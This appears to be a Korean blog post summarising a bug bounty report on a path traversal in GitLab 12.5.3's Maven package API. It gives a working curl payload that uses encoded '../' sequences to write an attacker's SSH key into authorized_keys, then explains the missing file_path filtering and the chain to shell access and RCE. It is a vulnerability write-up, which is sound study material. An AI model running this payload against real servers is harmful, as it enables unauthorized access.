보고서 링크 (HERE)
[취약점 재연 방법]
문제가 되는 소스 : maven_packages.rb
버전 : GitLab 12.5.3(grape 1.1)
* GitLab은 루비온레일즈를 통해 만들었고, 루비온레일즈는 기본적으로 RESTAPI 기능을 grape 프레임워크를 사용하여 처리함.
* 해당 버전은 기본적으로 들어온 URL에 대해서 URL decoding을 하지 않음
[순서]
1) GitLab 인스턴스를 빌드하기 전에 package 기능 활성화
2) Project 생성
3) API 호출을 위한 private token 생성
4) 공격 페이로드 전송
5) ssh 접속
[공격 페이로드 전송]
# 공격 페이로드
curl -H "Private-Token: $(cat token)" http://127.0.0.1/api/v4/project/2/packages/maven/a%2fb%2fc%2fd%2fe%2ff%2fg%2fh%2fi%2f1/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.ssh%2fauthorized_keys -XPUT --path-as- is --data-binary @/home/asakawa/.ssh/id_rsa.pub
# url decode
http://127.0.0.1/api/v4/project/2/packages/maven/a/b/c/d/e/f/g/h/i/1/../../../../../../../../../../.ssh/authorized_keys -XPUT--path-as-is--data-binary@/home/asakawa/.ssh/id_rsa.pub
* maven : GitLab에서 프로젝트를 관리할 수있게 해주는 package api 경로
취약 포인트 A.
취약점은 필터링 적용하지 않아 발생한다.
코드를 보면 file_name에는 정규표현식을 통해 필터링을 적용하고 있다.(maven_file_name_regex)
그러나 공격 페이로드에서 file_name에 해당하는 것은 'authorized_keys' 이다. '../' 문자열이 들어간 곳은 file_path이다.
file_path에는 필터링이 존재하지 않아 Path Traversal이 발생한다.
취약 포인트 B.
이곳에서도 file_name에 대해서 슬래시(/)문자 유무만 확인하고 있음.
path에 대한 필터링이나 검증이 존재하지 않는다.
결국, path에 해당되는 내용은 루비온레일즈 프레임워크에서 url decoding되었지만, 별도 필터링이 되어있지 않아 path 경로에 파일업로드가 가능하다.
→ 공격자의 SSH 키를 GitLab SSH 키 스토리지에 업로드하여, 인가된 사용자로서 SSH접속을 할 수 있다.
→ 시스템 쉘
→ RCE
'보안 > 리뷰' 카테고리의 다른 글
버그바운티 보고서 - SSRF Dropbox (0) | 2023.09.21 |
---|---|
버그바운티 보고서 - Time-Based SQL Injection to RCE (0) | 2023.09.21 |
버그헌팅 TIP (0) | 2023.09.19 |